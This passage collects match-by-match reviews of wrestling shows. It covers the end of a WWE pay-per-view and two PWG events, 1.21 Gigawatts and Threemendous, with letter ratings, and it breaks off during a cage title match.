Brooke makes a save of her own and Bayley is shoved off the top for a crash. The Bank Statement has Charlotte in more trouble but Bayley breaks it up this time. Banks does the same thing with Charlotte and Bayley switching places, allowing Charlotte to send Banks hard into the barricade. Back in and Charlotte boots Bayley into Banks, followed by another big boot to retain the title at 15:28.

Rating: B-. Sweet goodness Charlotte was every bit as dominant back then and it was still not the most appealing thing. She kept shrugging off everything Bayley and Banks threw at her, including both at once, and then won the title by beating them both up without much trouble. Good enough match, but it was a lot of Charlotte, as tends to be the case.

The Kickoff Show panel recaps/previews the show.

Remember Nia Jax crushing Alicia Fox on the Kickoff Show? Here are some highlights, in case you were wondering about a near squash.

We recap Roman Reigns challenging Rusev for the US Title. Reigns, being kind of a jerk, interrupted Rusev and Lana’s celebration and shoved her into a cake. They had been supposed to fight at Summerslam but got in a fight before the match so nothing happened.

United States Title: Rusev vs. Roman Reigns

Rusev is defending and Lana handles his introduction. They fight over a lockup to start until Reigns knocks him outside. Back in and Reigns wins a slugout until Rusev spinwheel kicks him in the face for two. Rusev hammers away and whips him into the corner a few times as the fans are way behind Reigns. The clothesline comeback doesn’t last long as Rusev knocks him outside for some rams into the barricade.

Rusev is sent into the steps for two and we hit the chinlock. That stays on for a good bit before Rusev hits a running headbutt and stops for some Bulgarian style glaring. A dropkick of all things drops Reigns again but he rolls away from a top rope headbutt (he learned from the first headbutt you see). The corner clotheslines rock Rusev, who crashes out to the floor and gets sent into the steps for a bonus.

Back in and the Superman Punch is kicked out of the air, setting up a hot shot for two. Reigns cuts off the Machka Kick and hits the Superman Punch for two of his own. Back up and the Lana distraction lets the Machka Kick connect and Rusev loses it on the referee for a bit. The Accolade (camel clutch) is broken up though and Reigns hits the spear, only to have Lana pull the referee.

That’s good for an ejection and Reigns sends Rusev outside as well. The running dropkick hits Rusev but it’s the Machka Kick to give him two back inside. Now the Accolade goes on but Reigns powers up and hits the spear for the pin and the title at 17:10 (it’s as sudden as it sounds).

Rating: B-. This was the Reigns that does not have the best reputation, as while the wrestling was good enough, it wasn’t exactly exciting stuff and he kept shrugging off everything thrown at him. That doesn’t make for the most interesting matches and the ending came out of absolutely nowhere. Not a bad match at all, but there was no point where I was getting interested or excited.

Seth Rollins runs into Stephanie McMahon and Mick Foley but he really doesn’t want to hear anything from Stephanie. They bet on the wrong guy, and tell HHH that he bet against the wrong guy.

We recap the Raw World Title match. Finn Balor won the Universal Title at Summerslam but got hurt, meaning the title was decided in a fatal four way. HHH interfered and cost Seth Rollins the title, siding with Kevin Owens instead in quite the screwjob. Now Rollins wants revenge, as HHH (and Stephanie) bet on the wrong guy (as you might have heard all of a few seconds ago). In other words, it was a bunch of Stephanie getting to be all fierce with people while Owens was just kind of there quite a bit of the while.

Raw World Title: Seth Rollins vs. Kevin Owens

Owens is defending and they fight to the floor to start with Rollins getting the better of things. Back in and Rollins stomps away in the corner, setting up the running knee to the face for two. Stomping and chopping in the corner have Owens in more trouble and the middle rope Blockbuster gets two. The Pedigree is blocked though and Owens snaps off a DDT for two of his own.

Rollins is sent outside and comes up favoring his knee, allowing Owens to stomp away back inside (the fans approve). Owens kicks away at the knee and backdrops a charging Rollins out to the floor. An elbow off the apron crushes Rollins again and the backsplash makes it worse. We hit the chinlock for a bit before Owens whips him hard into the corner to keep Rollins down. Back up and Rollins starts the comeback, including the Downward Spiral into the middle buckle.

A running dropkick sends Owens outside and Rollins uses the chance to set up the announcers’ table. Ever the smart champion, Owens bails back inside before anything can happen, only to get superkicked for two. Rollins misses a charge into the corner though and Owens kicks him in the knee again. The Cannonball gets two but Rollins is back up for an exchange of strikes to leave them both down.

Rollins’ springboard knee is cut off so Owens can hit the pumphandle brainbuster onto the knee for two more. A super gutbuster into the frog splash gives Owens another near fall and they head back to the floor. Owens misses the splash through the announcers’ table and it’s another double down. Back in and Rollins hits a frog splash for two so cue Chris Jericho.

The distraction lets Owens hit the package side slam but Rollins is back with a Pedigree for the same, thanks to Jericho putting the foot on the rope. The referee gets bumped (of course) so there’s no count for Rollins’ Pedigree. Jericho comes in but gets backdropped to the floor, setting up the suicide dive. Stephanie McMahon pops up to send in another referee….so Owens can hit the pop up powerbomb to retain at 25:07.

Rating: B-. This was REALLY long and could have easily had ten minutes shaved off. It was one of those matches where it felt like they were just trying to fill in time rather than winning the match most of the time. On top of that, it also felt like it was a HHH style match of “ok, let’s get everything done before we get to the shenanigans”. That’s not a great feeling, and it never came off like Rollins was going to win the title to make it even worse. Good action, but bad setup and execution.

Overall Rating: B. There’s a lot of good stuff on here, but it does run a bit longer than it needs to. It also doesn’t help that while the match quality is high, the show could not feel more second tier if it tried. Reigns winning the title was a moment that felt flat and other than that, there was nothing on here that came off like a game changing moment. It’s definitely a pick and choose show where some of the matches are worth a look, but you might not want to sit through the whole thing.

 

 

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1.21 Gigawatts
Date: March 21, 2008
Location: American Legion Post #308, Reseda, California
Attendance: 300
Commentators: Excalibur, Rick Knox, Taro

It’s another PWG show and I think I would have to turn in my nerd card if I didn’t look at a show with this name. As usual, I’m really not sure what to expect here as I’m doing these shows at random, meaning continuity isn’t a factor. The action tends to be quite good though and if that is the case again here, we should be in for a heck of a show. Let’s get to it.

Nemesis vs. Brandon Bonham

Nemesis is a masked guy and appears to be popular while Bonham is making his PWG debut. Bonham goes for him and gets posed at for his early efforts. They fight over arm control to start as they’re going basic early on. A quick rollup gets two on Bonham as commentary talks about new referee Tony Roma (jokes about ribs abound). Nemesis runs him over but gets enziguried for his efforts as commentary manages to get a bit more serious for a change (it won’t last).

Bonham knocks him outside and hits the big flipping dive, earning a NEW GUY chant. Back in and the fans don’t seem too thrilled with Nemesis, though his flipping neckbreaker does earn some polite applause. Some strikes in the corner have Bonham in more trouble but he manages to get out to the apron. A slingshot cutter drops Nemesis and a high angle Swanton gives Bonham the upset pin at 6:23.

Rating: C+. This wasn’t exactly the opener you might have been expecting but points for giving the new guy a win and establishing him a bit. Bonham doesn’t have the most impressive look but he did well enough to make a bit of an impression. Nemesis felt more like a crowd favorite, at least at times, so Bonham’s win does seem to have a bit of status to it. Completely fine opener.

Candice LeRae vs. LuFisto

This is LuFisto’s PWG debut but the fans certainly know who she is. The referee isn’t interested in checking LuFisto’s trunks (she hiked the skirt up to make it easier) so we can get going. LeRae, who looks incredibly young here (at 22), gets shoved down to start but comes back with forearms. Some armdrags and a dropkick have LuFisto staggered a bit as we hear about her wanting to teach LeRae to fight like a woman.

LuFisto isn’t having this basic stuff and kicks LeRae down, setting up a fisherman’s suplex into a headscissors. An armbar at the same time makes it even worse but LuFisto switches it into a camel clutch. Some headbutts and shots to the back have LeRae in more trouble as the beating is on hard here. A small package gives LeRae two and she manages to send LuFisto outside.

With that not working, it’s a butterfly suplex to give LuFisto two back inside. LuFisto misses a charge though and gets rolled up a few times for two each. They strike it out until LeRae slams her down and gets two off a neckbreaker. LuFisto isn’t having that and kicks her down before going up top. The high crossbody connects but LeRae rolls through it for the pin at 8:09.

Rating: C. It wasn’t bad, but this felt like LuFisto having to keep everything going as LeRae wasn’t quite as polished. LuFisto was the much bigger star at this point and it makes sense to have her carrying things. The good thing is they had a completely watchable match, even if the ending felt like quite the slip on a banana peel. You don’t hear too much about women’s wrestling in PWG but this was perfectly good enough to keep it going.

Post match Claudio Castagnoli and Human Tornado (who seem to have a less than positive history with LeRae) come to the back but here is Chris Hero for the save. And an impromptu match!

Claudio Castagnoli vs. Chris Hero

Everyone else leaves and it’s hero chopping away on the floor to start. They get inside with Hero elbowing him in the face until Castagnoli tosses him over the top for a big crash. Castagnoli gets creative by choking with the ring skirt and it’s time to send Hero crashing through the fans.

We hit the camel clutch back inside, with Castagnoli pulling the hair instead of the face (Is that still a clutch?). Some uppercuts and kicks to the face just have Hero looking annoyed so he comes back with a running neckbreaker. Hero forearms him off the apron this time and a suicide armdrag of all things sends Castagnoli down. Back in and a middle rope Blockbuster gives Hero two but Castagnoli is back with a heck of a running uppercut. The Riccola Bomb doesn’t work so Castagnoli grabs his kind of Angle Slam for two more. The giant swing is loaded up but Hero reverses into a cradle for the pin at 9:56.

Rating: B-. These two working well together is a grand total of not surprising whatsoever and they had another good match here. There’s a long history between them and they have chemistry in the ring so this worked well. Castagnoli showing off with the power until Hero caught him with a cradle was a good story and the cradle made it look like Castagnoli got caught rather than defeated.

Post match Human Tornado runs back in for the save, drawing out Candice LeRae. LuFisto runs out to cancel out LeRae but Hero gets up to clear the ring. Hero seems a bit upset that he got physical by throwing LuFisto back inside, as he has a thing about violence against women.

Here is The Dynasty (Scott Lost/Joey Ryan, with Jade Chung), the reigning Tag Team Champions. Ryan has been looking for an opponent is defending. He insists that Chris Bosh (who the fans seem to favor) didn’t care about the fans and that’s why he left. Ryan tried to get in touch with Dino Winwood but couldn’t get hold of him. Then he send a text to Excalibur, who had his own problems: doing commentary with an intoxicated Taro.

With nothing else to do, Ryan sent out a mass email to the PWG roster for an open challenge for the Tag Team Titles. The first person to answer was this man, so here is El Generico. The problem is that Generico’s reply was in Spanish so Ryan doesn’t know who his partner is going to be. After a few points to the entrance, Kevin Steen (Owens) runs in from behind and we’re ready to go.

Tag Team Titles: Kevin Steen/El Generico vs. The Dynasty

The Dynasty is defending and Steen pulls Ryan over the top to start fast. The chops in the corner have Ryan in trouble and Generico sends him into some buckles to make it worse. Ten right hands in the corner set up some armdrags as Ryan can’t get anything going here. The fans seem to appreciate Steen as he chops Ryan down again but a shot to the eye allows the tag off to Lost.

That’s fine with Steen, who chops away as commentary is curious about how Ryan sent off an email last night but Steen managed to get here from Montreal so fast. Lost manages some knees to the ribs to take over but it’s right back to Generico for a backbreaker. As commentary discusses the Dynasty’s ownership stake in the company, Steen hits a flipping legdrop to the back of Lost’s neck.

Lost manages to kick Generico in the ribs though and Ryan comes in to start on the arm. Chung finally remembers she’s here too and adds some choking on the ropes. A wheelbarrow slam/gutbuster combination plants Generico and Lost’s leg lariat takes him down again. Lost grabs a bodyscissors but Steen comes in to blow his nose on him (not break up the hold or anything mind you). Generico backbreakers his way to freedom and Steen comes back in to clean house.

The rope is kicked low into Ryan and the powerslam gets two on Lost. Steen kicks the rope into Ryan again (seems fun) and hits a DDT to plant Lost again. The pop up powerbomb gets two on Lost but Ryan is there to break up the Swanton. Generico hits the big dive onto Ryan though and the Swanton connects for two. Ryan comes back in and blocks the Helluva Kick, setting up his own powerbomb for his own two on Generico.

A backbreaker/top rope elbow combination gets two WITH Steen making the save. (Excalibur: “It might be Bastille Day! IT’S NOT BASTILLE DAY BECAUSE KEVIN STEEN HAS FREED THE PRISONERS!!!”). The parade of suplexes sets up the Helluva Kick to Lost, who counters the brainbuster into a suplex over the top. Cue Super Dragon to Psycho Driver Jade Chung as everything stops for a few moments. Lost takes Chung to the back and it’s a Helluva Kick into Steen’s package piledriver into the brainbuster to finish Ryan for the titles at 16:20.

Rating: B. Steen and Generico being a heck of a team is no surprise whatsoever as they worked well together even back here. Lost and Ryan were one of those teams who feel like they’re from a different era of PWG. While they were good in the early days, they were surpassed by a team like Steen and Generico as the company was evolving. Good match here, even if the defending champs felt a bit overwhelmed at times.

Post match the celebration is on. Steen says it doesn’t matter what anyone thinks or says, because this is PWG and it feels good to be home.

Here is Excalibur, who says Commissioner Dino Winwood is not here because he is celebrating the Jewish holiday of Purim. Therefore, the fans here are the worst Jews he has ever seen. As for tonight, Excalibur has full authority tonight and talks about how Necro Butcher isn’t here tonight. Butch is filming a movie with Mickey Rourke called The Wrestler, so we’ll have to make another match. That’s why tonight it’s Human Tornado/LuFisto vs. Chris Hero/Candice LeRae in a street fight.

DDT4 Qualifying Match: Scorpio Sky/Ronin vs. Young Bucks vs. Hook Bomberry/TJ Perkins vs. Los Luchas

Elimination rules and DDT4 is PWG’s big tag team tournament. Los Luchas are Phoenix Star and Zokre, who have been around since the early 2000s. It’s a big brawl to start with the Bucks getting the better of things, including a pop up dropkick to Sky. Zokre springboard crossbodies both Bucks down and the Luchas springboard armdrag Sky and Ronin down. Sky hits a slingshot elbow for two on Bomberry and we settle down, with everyone actually getting on the apron for a change.

The Bucks’ hanging neckbreaker into a slingshot hilo hits Perkins as the Bucks (who actually look young here) take over. Nick hammers away as commentary kind of explains how complicated the tournament setup has been without actually saying how we got here. Perkins gets in a shot to Nick’s knee and it’s off to Bomberry for a clothesline as commentary discusses Bomberry’s sexually transmitted diseases.

Bomberry’s half crab sends Nick over to the rope as commentary points out that the other two teams are just kind of here too. Nick dropkicks his way out of trouble and it’s Matt coming in to pick up the pace. Everything breaks down and Nick mostly misses a dive, followed by Star missing an even bigger dive even worse. Matt, Ronin and Zokre slug it out inside and Ronin powerbombs Zokre for two (with the referee’s hand hitting the mat three times to make it a bit confusing).

An assisted neckbreaker drops Ronin but Nick’s bad knee won’t let him follow up. Sky cutters Matt but Perkins grabs a rollup (with an assist from Bomberry) to pin Sky at 9:48. Perkins neckbreakers Zokre but Sky shoves him off the top. Bomberry hits Perkins by mistake and Los Luchas hit a double powerbomb into stereo springboard Swantons (Maximum Risky) for the pin at 11:27.

So we’re down to the Bucks vs. the Luchas, with the Bucks hitting a slingshot X Factor into a wheelbarrow suplex for two on Zokre. Nick’s frog splash (What knee injury?) gets two on Star, who is right back with a spinebuster. A neckbreaker/spinebuster combination gets two on Nick with Matt having to make the save. Commentary even points out that Nick’s knee is suddenly better as More Bang For Your Buck misses. Matt gets super Angle Slammed onto Star’s knees (dang) to give the Luchas a double pin at 14:00.

Rating: B. It was a fast paced match and as usual, elimination rules made it that much better. Commentary calling out Nick’s lack of a knee injury was a nice touch and they didn’t bother dragging this out too far. Good, action packed match here and Los Luchas continue to be a rather nice team who never got a ton of recognition. As a bonus, apparently this was the finals of a round robin tournament (not mentioned here) to get a spot in another tournament, which Sky and Ronin wound up competing in as well.

Candice LeRae/Chris Hero vs. LuFisto/Human Tornado

Street fight. LuFisto unloads on LeRae in the corner as Excalibur goes on a rant about how bad the production crew is around here. Hero throws Tornado into some chairs as LeRae chops LuFisto against the apron. Taro says that this match is unsanctioned, sending Excalibur into a mini rant about how HE MADE THE MATCH SO OF COURSE IT’S SANCTIONED! Ok point for a funny line.

Some weapons are thrown inside as the women trade forearms on the floor. LuFisto gets in a chair shot but LeRae blasts her in the head with a trashcan lid. Back in and Hero puts on a Boston crab, while also putting the chair over Tornado. The basement dropkick in the corner hits LuFisto as Hero neckbreakers Tornado for two. Tornado is fine enough to hit him with a chair shot to the throat, followed by some shots to the knee. The men head outside, leaving LuFisto to drop LeRae on her head back inside.

Back in and Tornado hits a delayed corner dropkick on LeRae, setting up LuFisto’s running boot. With LeRae down, LuFisto holds Hero in place so Tornado can get in some chair shots to the knee. LuFisto hits Hero with a chair before going back inside to rip at LeRae’s facial area. Hero comes back in and fights back up, only to get dropped by Tornado again. Another comeback is cut off by a forearm to the head and a hanging legdrop as LeRae is knocked off the apron again.

Hero manages a double knockdown but his knee is shot, allowing Tornado to knock him outside again. LeRae is back in with a forearm to knock LuFisto outside but all four get back inside. A rollup to Tornado gets two but he kicks Hero into a chair in the corner to knock him silly. LeRae grabs a reverse Koji Clutch on Tornado until LuFisto breaks it up. The teams pair off again and the referee gets poked in the eye, which doesn’t seem to change anything. Hero sends Tornado into LuFisto and LeRae throws her outside for a dive.

Some chairs are thrown at Tornado, which the fans help Hero pile up (what nice/evil people, depending on your affiliation). Tornado backdrops him onto the pile though and the guys are down again. Back in and LeRae gets in a DDT for two on LuFisto, setting up a camel clutch in the ropes. Hero steals Taro’s water (er, “water” more than likely) and Swantons off the announcers’ area onto Tornado onto some chairs for the big crash. Back in and LuFisto hits a spinning backfist into an Emerald Flosion to plant LeRae again.

Tornado misses a bit spinning kick to LeRae, allowing Hero to BLAST HIM with a forearm for two as LuFisto makes the save. Back up and Hero gets creative with a toss atomic drop to send Tornado into an open chair (that’s a new one/OUCH), setting up the big boot to the face. Tornado catches him on top but Hero knocks him down into the open chair. LeRae pelts another chair at LuFisto’s head for a delayed two, only to have Tornado kick LeRae in the back of the head.

Tornado puts the chair in front of LeRae’s face in the Tree of Woe, allowing LuFisto to hit the Tommy Dreamer dropkick. LuFisto gets a little more violent by biting her head and then Tornado gets evil by punching LeRae in the head. LeRae is busted open (and missing some extensions) but Hero comes back in to piledrive LuFisto. Hero grabs a cravate style Stunner to pin Tornado at 26:59.

Rating: B. This took some time to get going but once it hit its top gear, it was a violent match between four people who felt like they wanted to hurt each other. The violence was strong with this one and if you cut off the first ten minutes or so, it gets that much better. Hero vs. Tornado feels like an almost literal blood feud and you can imagine one heck of a showdown coming for them soon.

Post match Claudio Castagnoli runs in to take Hero out and then duct tapes him to the ropes. The referee gets decked as well and a table is set up in the corner. A belt shot knocks LeRae silly and LuFisto spears her through the table. There’s another belt shot to Hero and Tornado plants LeRae again. Commentary walks off in disgust and LeRae is carried out. Tornado throws her back inside though until Excalibur finally comes in to make the save.

That leaves Tornado to beat up Taro as Excalibur tries to get Hero out. Hero finally gets free and throws a bunch of stuff as referees and medics check on LeRae. Hero puts LeRae over for her effort and says they’ll both be back at the next show, because now this is personal. He swears to get his hands on Tornado and Castagnoli somehow, whether it be at the next show or in the parking lot tonight. LeRae is helped to the back to end the show. This was a red hot angle and I want to see Hero destroy Tornado. Really good stuff here and maybe the best angle I’ve ever seen from PWG.

We get some post show footage, including Hero checking on LeRae in the trainer’s room. He recaps the feud with Tornado, as LeRae is Tornado’s former manager and helped him get the World Title. Tornado kept abusing her though and it broke Hero, who wants to see Tornado get what is coming to him. Yeah Tornado is the champion and walks to the ring like a pimp, but he’s just a little boy. Hero is going to do whatever it takes but he’s getting his hands on Tornado and he’ll never be the same again. Heck of a promo here.

Overall Rating: B+. The ending helped this a lot but otherwise, it wasn’t quite a blow away show. There was enough good to make it work rather well, though the only thing to stand out is the big angle and most of the main event. What matters most though is I want to see more of the story (and some other stuff), so they are doing well. Just get the first hour or so of the show up a bit and it’s that much better. Or do another story that makes me want to see a villain get destroyed in about fourteen different ways. Either works.

 

 

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Threemendous
Date: July 16, 2006
Location: Hollywood-Los Feliz JCC, Los Angeles, California
Attendance: 350
Commentators: Disco Machine, Excalibur

So someone requested that I do this show…..oh seven or eight years ago now but I’ve finally gotten around to/remembered to do it. It’s back in the earlier days of PWG and I’m not sure if there is some kind of gimmick for the show. PWG has a history of some rather awesome show names and the tradition holds up in their earlier days too. Let’s get to it.

An unnamed man is in the ring and talks about how amazing it is for PWG to have been around for three years. He’s a bit hard to understand but he talks about fixing some problem and promises a special show tonight. Oh and buy concessions.

Disco Machine vs. Excalibur

Before the match, Excalibur talks (of course) talks about seeing some familiar faces around here but there are some people who might not know the history between these two. They have been together for a long time now and there have been questions about who is the better commentator. Excalibur says he can talk at length about absolutely nothing so he proposes a title match tonight: the winner earns the title of Best PWG DVD Commentator.

We get a guest referee who….is not named, which probably has something to do with the massive clipping that PWG releases have to do due to various rights issues. Commentary does let us know that the referee is named Patrick Hernandez. Good to know. Anyway they fight over arm control to start with Excalibur grabbing a top wristlock and flipping over. That’s broken up and it’s a standoff until Disco twists Excalibur’s fingers.

That’s broken up with a hiptoss and Excalibur drops some knees as the two of them talk about the referee allegedly being the inspiration for the Robin Williams movie RV. Disco gets red carded for a headbutt to the chest which lets Excalibur come back with a suplex for two. A catapult sends Excalibur outside for the big dive (which Disco said he didn’t know was coming) and they’re both down on the floor, leaving commentary to go over the company’s history.

Back in and Disco grabs a camel clutch before a suplex gets two. As Disco hits a backbreaker, commentary talks about airline experiences, including the lack of peanuts and package deliveries. Excalibur rakes the eyes to come back and grabs something close to a cobra clutch, setting up a German suplex for two. Disco chokes him to block a heart punch and a chokebreaker finishes Excalibur at 8:30.

Rating: C. I wouldn’t have bet on this having a definitive winner as it would have seemed destined to go to a draw. It wasn’t a match that meant much of anything as it was all about playing into the company’s history, which makes sense on an anniversary show. Excalibur never was much in the ring and he didn’t show me anything else here, but for a fun way to open the show and give the fans something to like, it worked well enough.

Ronin vs. Nemesis

Nemesis grabs a wristlock to start and armdrags him down, meaning it’s time to pose. Back up and Nemesis kicks him into the corner as the fans chant HELLO KITTY at Ronin in an old school callback. I mean, as old school as you can get in a promotion that is three years old. Nemesis sends him outside, teases the pose, and then misses a baseball slide.

Ronin gets in a shot to the ribs and sends him back inside for two off a suplex. Back up and Nemesis grabs a Cradle Shock for two and hammers away in the corner. What looks to be a running monkey flip out of the corner doesn’t go so well and Ronin is back with a swinging brainbuster for two. One heck of a lariat into a Death Valley Driver finishes Nemesis at 7:09.

Rating: C. Another just ok match here with two PWG regulars. The lack of story behind the match made it a bit difficult to get invested in what they were doing though, as they were just doing moves until someone won. Ronin has been on a lot of these PWG shows but has never really done much to get my interest up. Nemesis was just another guy here and while the match was watchable, it kind of came and went.

Top Gun Talwar vs. Colt Cabana

Cabana, who isn’t a very big guy, towers over Talwar. As a bonus, Cabana has two formal photos of some couples. Commentary says Cabana doesn’t know who they are, but that’s the pretty run of the mill for him. Then Talwar offers to fight from his knees….and seems to do a line of cocaine (commentary’s word). Cabana fights from his knees as well and scares Talwar outside, where he circles the ring on his knees.

Back in and they fight over wrist control as commentary talks about stabbing your leg after drunkenly staggering around your apartment. They lock hands and roll around until Talwar finally breaks out, leaving them to sit next to each other on the mat. Now it’s time to lay on each other for some near falls before Talwar’s rollup is countered with a crawl across the ring. Cabana sweeps the legs so Talwar winds up on all fours, where he crawls around with Cabana on his back. Yeah it’s that kind of a match people.

They tease a test of strength but Talwar stops to smell Cabana’s fingers. Now it’s a lockup with Talwar climbing the ropes without breaking contact. Said lockup stays on as they go outside, around the ring and through the entrance curtain. We can hear a bunch of stuff….and then the curtain is pulled back to reveal them having some tea. The referee grabs both of them by the ear and brings them back to the ring, where Cabana picks the ankle. The tease of a low blow is switched into a leg stretch, with Cabana talking until Talwar bites the fingers.

That’s not enough to escape so Cabana rocks them back and forth to make Talwar angrier. Back up and they gently slap it out (Excalibur: “Shades of Moe and Shemp.”) before heading outside again. Talwar is whipped towards the barricade but keeps running, only to trip over the steps. Cabana finds some resistance bands to tie around Talwar’s throat while getting in some exercise, only to have Talwar tie it around Cabana’s wrist.

The tug of war is on until Talwar pulls him in for a clothesline to take over. Back in and Talwar hits a spinning reverse DDT (the Chipolte) for two on Cabana as commentary makes fun of Ike Turner beating Tina Turner. Cabana misses the Flying Apple but counters another Chipolte into an inverted bearhug (meaning Cabana picks him up for a Tombstone and shakes him back and forth) for the win at 12:02.

Rating: C+. This match wasn’t for me and I’m not big on the comedy stuff, but they also didn’t do anything so stupid that it was ridiculous. Cabana doing his comedy stuff is his bread and butter and Talwar is one of those wacky guys who can make something like this work well enough. Not something I’d ever want to see again, but it could have been FAR worse.

Post match Cabana leaves and World Champion Joey Ryan runs in to beat up Talwar. A piledriver on the chair leaves Talwar laid out and Ryan brags about being the best PWG Champion of all time. The fans don’t like it, so Ryan piledrives Talwar on the chair again. Ryan wants Excalibur out here so here he is, just after Ryan hits a third piledriver on the chair. Good beatdown, but those sideburns make Ryan look like a joke rather than a serious guy.

Davey Richards/Kevin Steen/Human Tornado vs. Dynasty

Richards and company have Candice LeRae with them and the Dynasty is Chris Bosh/Scott Lost/Scorpio Sky, with Jade Chung. It’s a big brawl before (I think?) the bell and it all heads outside until the Dynasty is left laying. Back in and Davey kicks at Lost but the tiger driver 98 is blocked. Sky comes in to dance a bit so Richards shoulders him down as well. Tornado and Steen clear the ring with the Dynasty needing a breather on the floor.

After teasing leaving, the Dynasty comes back and slows it down a bit until we get to Tornado vs. Lost. A crossbody puts Lost down and his attempt at a low blow fails (that’s difficult to do). It’s off to Richards to strike away as commentary discusses why a low blow didn’t affect Tornado (I’ll let you figure that one out). Tornado comes back in for a dancing low blow on Scott and Bosh’s attempt at a low blow just hurts his hand. A leg trip takes Tornado down though and it’s Sky getting to stomp away in the corner.

Bosh and Steen (on the apron) exchange nipple twists before Tornado is sent face first into Sky’s rock hard abs. They certainly have some unique spots around here. Figure out if that is a good thing on your own. Sky heads outside where he gets beaten up by Steen and Richards, who have to be pulled off. Back in and Tornado gets elbowed in the face and Lost grabs a chinlock. Tornado fights up and this a neckbreaker, allowing the hot tag to Steen to pick up the pace. Richards comes in with a missile dropkick and it’s a German suplex for two on Lost.

Bosh and Steen slug it out but it’s right back to Sky to leg lariat Richards. With everyone else on the floor, Tornado hits a HUGE flip dive to wipe out the pile. Back in and Richards rolls Lost up for two but Sky takes Richards down with a jumping cutter. Bosh’s clothesline into a backbreaker gets two on Tornado and there’s a Stunner to Steen. That doesn’t work for Steen, who is back with a Rock Bottom to Bosh. Richards gives Sky a gutbuster and Lost has to break up a stretch muffler. Steen hits a great looking moonsault for two on Bosh but Sky clears them out and knocks Tornado silly with an implant DDT for the pin at 20:05.

Rating: B. Now this felt more like a PWG match as you had six guys in there starting off with a regular tag before going into the wild fight that it needed to be. The Dynasty looked like a team but since commentary isn’t about to offer any kind of insight into what is going on, they were just people who had somewhat matching gear. The other three were people who happened to be teaming together, as backstory or drawing people in isn’t exactly PWG’s strong suit.

Post match Steen grabs the mic and yells something at Richards that is kind of hard to understand but it doesn’t seem to go well. Richards grabs the mic and rants about a variety of things, including slipping in a gay slur. He seems ready for the Battle Of Los Angeles and is ready to take someone out. Steen appears to apologize to Tornado and they hug it out. I think that was a heel promo? Maybe?

Roderick Strong vs. TJ Perkins

Perkins is only 21 here and looks even younger than that. They start slowly with Strong tying him up, only to get pulled down into a cross arm choke. That’s reversed into the same thing from Strong. With that broken up, Perkins needs to tie his boot and Strong is nice enough to let him. Perkins wins a battle over wrist control but gets flipped over into an armbar. That’s reversed into a hammerlock from Perkins as the technical start continues.

Perkins fights out again and it’s another standoff, this time with Strong bailing to the floor for a seat in the first row. Back in and Perkins goes right back to the arm as commentary explains why it might not be great business for Strong to be a heel. Strong fights up and tries a kick to the ribs, which Perkins stops and spins around to drop Strong again. The front facelock goes on and is switched into a cravate as Strong can’t get anything going here.

The chop off goes a bit better for Strong, who manages to hit his first backbreaker. We hit the full nelson with Strong’s legs, followed by a less painful looking (for both of them) camel clutch. A torture rack backbreaker drops Perkins again but Strong pauses to yell at the fans. Strong hits a suplex for two and then slams him on the apron to make it worse. Back in and Strong ties their legs together and pulls on the arm for a rather nasty looking hold.

Perkins gets out and avoids a charge in the corner, setting up a high crossbody for two. Strong is back with an enziguri into a Falcon Arrow for two more but Perkins pulls him into a cross armbreaker. With that broken up, Strong hits the fireman’s carry gutbuster into the Sick Kick into the tiger driver for….two, in quite the kickout. Not that it matters as the Strong Hold makes Perkins tap at 18:56.

Rating: B. This is the kind of match that would fit in PWG or Ring Of Honor as they kept it straight and went with one move after another until Strong, the bigger star, got the win. That is all you needed to do here and it was the lengthy match that didn’t feel boring or long despite getting a lot of time. Good stuff here as both guys are always worth at least a look.

Kings Of Wrestling vs. Cape Fear

That would be Claudio Castagnoli/Chris Hero vs. El Generico/Quicksilver. This is announced as impromptu, but there is no story given for why it was thrown together. Hero and Generico start things off with the fans WAY behind the Kings. Generico works on the arm but Hero cravates him down and it’s off to Quicksilver vs. Castagnoli. Some leg cranking has Quicksilver in even more trouble but he’s back up with a hurricanrana for two.

Hero comes back in and has to counter a monkey flip so it’s right back to Castagnoli to clothesline Generico. This time it’s Generico grabbing a hurricanrana of his own and Castagnoli is frustrated. Hero comes in without a tag and the Kings chop each other by mistake. Generico sends them outside for some dives as Castagnoli is busted open bad (via a gash from the previous night).

Back in and Hero makes a blind (but not deaf) tag to take Generico down. Hero chops him in the throat and Castagnoli adds an uppercut for two. A gorilla (appropriate) press drop onto the turnbuckle has Generico in more trouble and Hero comes in for a dropkick for two. Generico finally manages to armdrag Castagnoli into Hero and a flip over allows the hot tag to Quicksilver.

A middle rope spin into a Black Widow has Hero in big trouble as Generico hits a heck of a dive onto Castagnoli on the floor. Hero falls over to the ropes and suplexes Quicksilver down hard for the break. It’s back to Generico, whose corner run tornado DDT is countered into an uppercut from Castagnoli for two more.

Hero ducks the Yakuza Kick and hits Generico with one of his own but back to back dropkicks take him down. Castagnoli gets taken down by a hurricanrana on the floor and a brainbuster gives Generico two on Hero. That’s too far for Castagnoli, who LAUNCHES Quicksilver into some chairs at ringside. Back in and Hero flips Generico into a powerbomb from Castagnoli (cool) for the pin at 20:48.

Rating: B. This got going near the end but there were some long stretches of dull to get there. Generico is someone who can work well with anyone but the Kings were much better as a team. Good match here and it ate up a lot of time, though it never reached that point of being a classic or into a higher gear.

PWG World Title: B-Boy vs. Joey Ryan

Ryan is defending in a Battledome, meaning a TLC match inside a cage (though you win via pinfall/submission). The weapons are already in the cage and Ryan goes for the climb at the bell, only to have B-Boy throw a chair at the wall to cut him off. Ryan’s elbows are broken up and cut off with a single elbow to the face, followed by a heck of a kick to the chest.

There’s a clothesline to drop Ryan again and Excalibur gets in a jab at Konnan for some reason. Ryan gets blasted with a chair to the head and the blood is flowing early. The blood works well for B-Boy, who sends Ryan face first into the cage. Back up and Ryan sends him into the cage for a change (and his first major offense) to bust B-Boy open as well.

Ryan snapmares him down, sits in a chair, and grabs the chinlock to slow things down a bit. With that broken up like a drop toehold should be, Ryan drop toeholds him into the chair to make the bleeding even worse. A chair to the face lets Ryan grab a ladder, which is slammed back with a chair. Some ladder shots to the face have Ryan in more trouble and another shot takes out a cameraman.

The chairs are piled up for a Death Valley Driver to give B-Boy two more but the referee gets bumped. Therefore, Ryan tapping to B-Boy’s Crossface means nothing, allowing Ryan to come back with a spinebuster onto a chair for two. The table is set up near the corner and a superbomb through it gives Ryan two of his own. Ryan slaps the referee for the slow count so they slug it out (just go with it) until Ryan sends him into the cage over and over.

